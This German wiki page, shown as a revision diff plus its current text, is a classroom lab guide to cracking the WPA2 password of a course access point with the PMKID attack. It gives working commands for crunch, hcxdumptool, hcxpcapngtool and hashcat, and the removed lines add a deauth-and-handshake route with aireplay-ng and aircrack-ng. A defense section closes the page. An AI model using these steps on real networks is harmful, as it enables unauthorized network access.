Wlan PMKID-Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=Szenario=
 
=Szenario=
;Diese Seite ist für die '''Angreifer-Gruppe'''. Ziel ist der Access Point <code>dd-xinux</code>, den die AP-Gruppe stellt (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
+
;Angriff auf den Access Point <code>dd-xinux</code> (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
;Es gibt zwei Wege zum Passwort:
+
;PMKID-Angriff: '''clientless''' — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
*'''Weg 1 – Handshake:''' funktioniert immer, braucht aber einen verbundenen Client und einen Deauth.
 
*'''Weg 2 – PMKID:''' clientless, kein Deauth. Schneller, weil nur der 1. EAPOL-Frame nötig ist.
 
;Beide enden gleich: eine Datei im hashcat-Format, die per Wortliste geknackt wird.
 
  
 
=Passwortliste generieren=
 
=Passwortliste generieren=
Zeile 16: Zeile 13:
 
*systemctl stop NetworkManager
 
*systemctl stop NetworkManager
  
=Interface suchen=
+
=PMKID abgreifen=
*airmon-ng
+
*hcxdumptool -i wlan0 -w dump.pcapng
<pre>
+
;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
PHY    Interface      Driver          Chipset
+
;Die Flags ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
phy0    wlan0           rtl8192cu      Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]
 
</pre>
 
;Wenn störende Prozesse angezeigt werden, diese "killen":
 
*airmon-ng check kill
 
 
 
=Interface in Monitor-Modus=
 
*airmon-ng start wlan0
 
;Hinweis: Je nach Version heißt das Interface danach <code>wlan0mon</code>. In den folgenden Befehlen dann diesen Namen verwenden.
 
;Für Weg 2 (PMKID) ist das nicht zwingend — <code>hcxdumptool</code> schaltet die Karte selbst in den Monitor-Modus.
 
 
 
=WLANs anzeigen=
 
*airodump-ng wlan0
 
;Wir suchen die '''BSSID''' und den '''Channel''' von <code>dd-xinux</code>.
 
[[Datei:wlan0-1.png]]
 
;Für Weg 1 suchen wir zusätzlich eine '''Station''', die mit <code>dd-xinux</code> verbunden ist.
 
[[Datei:wlan0-2.png]]
 
 
 
=Weg 1: Handshake (funktioniert immer)=
 
==Handshake mitschneiden==
 
*source data
 
*airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan wlan0
 
[[Datei:wlan0-3.png]]
 
==Deauth senden (zweites Fenster)==
 
;Wir werfen die Station kurz raus, damit sie sich neu verbindet — beim Wiederverbinden fällt der Handshake an.
 
*source data
 
*aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTATION> wlan0
 
18:40:39  Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6
 
.....
 
18:57:44  Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:xx:E8] [ 0| 9 ACKs]
 
;bis der Client rausfliegt und sich neu verbindet.
 
==Handshake erhalten==
 
;Oben rechts im airodump-Fenster erscheint "WPA handshake: <BSSIDAP>".
 
[[Datei:wlan0-4.png]]
 
;Der Handshake steckt im '''2. EAPOL-Frame''' (Client → AP) — dort sitzt die MIC, unser Vergleichswert.
 
  
=Weg 2: PMKID (clientless)=
+
=In hashcat-Format wandeln=
;Kein verbundener Client, kein Deauth. Wir fragen den PMKID direkt beim AP ab.
 
==PMKID abgreifen==
 
*hcxdumptool -i wlan0 -w dump.pcapng
 
;Läuft ein paar Sekunden. Die Flags von hcxdumptool ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
 
;Der PMKID steckt im '''1. EAPOL-Frame''' (AP → Client). hostapd sendet ihn bei WPA2-PSK automatisch.
 
==In hashcat-Format wandeln==
 
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
;Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen.
+
;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
  
 
=Cracken=
 
=Cracken=
==Weg 1 – klassisch mit aircrack-ng==
 
*aircrack-ng -w password.lst -b <BSSIDAP> wlan-01.cap
 
[[Datei:wlan0-5.png]]
 
==Beide Wege – modern mit hashcat (Mode 22000)==
 
;Handshake ins 22000-Format wandeln:
 
*hcxpcapngtool -o hs.hc22000 wlan-01.cap
 
;Cracken (Handshake oder PMKID, gleiches Format):
 
*hashcat -m 22000 hs.hc22000 password.lst
 
 
*hashcat -m 22000 pmkid.hc22000 password.lst
 
*hashcat -m 22000 pmkid.hc22000 password.lst
 
;Ergebnis ansehen:
 
;Ergebnis ansehen:
Zeile 85: Zeile 34:
  
 
=Warum ist das knackbar?=
 
=Warum ist das knackbar?=
;Das AP-Passwort <code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
+
;<code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
;8 Zeichen '''gemischt''' (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 &asymp; 2,2&times;10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht '''beide''' Wege praktisch chancenlos.
+
;8 Zeichen gemischt wären 62^8 &asymp; 2,2&times;10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
  
 
=Verteidigung=
 
=Verteidigung=
*Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen.
+
*Langes, zufälliges PSK.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
*'''802.11w''' (Management Frame Protection) macht den Deauth aus Weg 1 wirkungslos.
 
 
=Video=
 
*https://www.youtube.com/watch?v=vnLfCtpANvI
 
  
 
=Links=
 
=Links=

Version vom 14. August 2026, 13:00 Uhr

Szenario

Angriff auf den Access Point dd-xinux (siehe Access Point aufsetzen).
PMKID-Angriff
clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.

Passwortliste generieren

Das AP-Passwort ist 8-stellig numerisch (00001234) — genau dafür bauen wir die Liste.
  • crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

Störende Dienste stoppen

  • systemctl stop avahi-daemon
  • systemctl stop NetworkManager

PMKID abgreifen

  • hcxdumptool -i wlan0 -w dump.pcapng
hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
Die Flags ändern sich zwischen den Versionen — vorher einmal hcxdumptool -h prüfen.

In hashcat-Format wandeln

  • hcxpcapngtool -o pmkid.hc22000 dump.pcapng
Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.

Cracken

  • hashcat -m 22000 pmkid.hc22000 password.lst
Ergebnis ansehen
  • hashcat -m 22000 pmkid.hc22000 --show

Crack-Geschwindigkeiten

  • Laptop schafft circa 1000 Keys pro Sekunde
  • Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
  • Online-Rechenpower mieten
  • Cluster aus mehreren Grafikkarten bauen

Warum ist das knackbar?

00001234 ist 8-stellig numerisch
10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.

Verteidigung

  • Langes, zufälliges PSK.
  • WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.

Links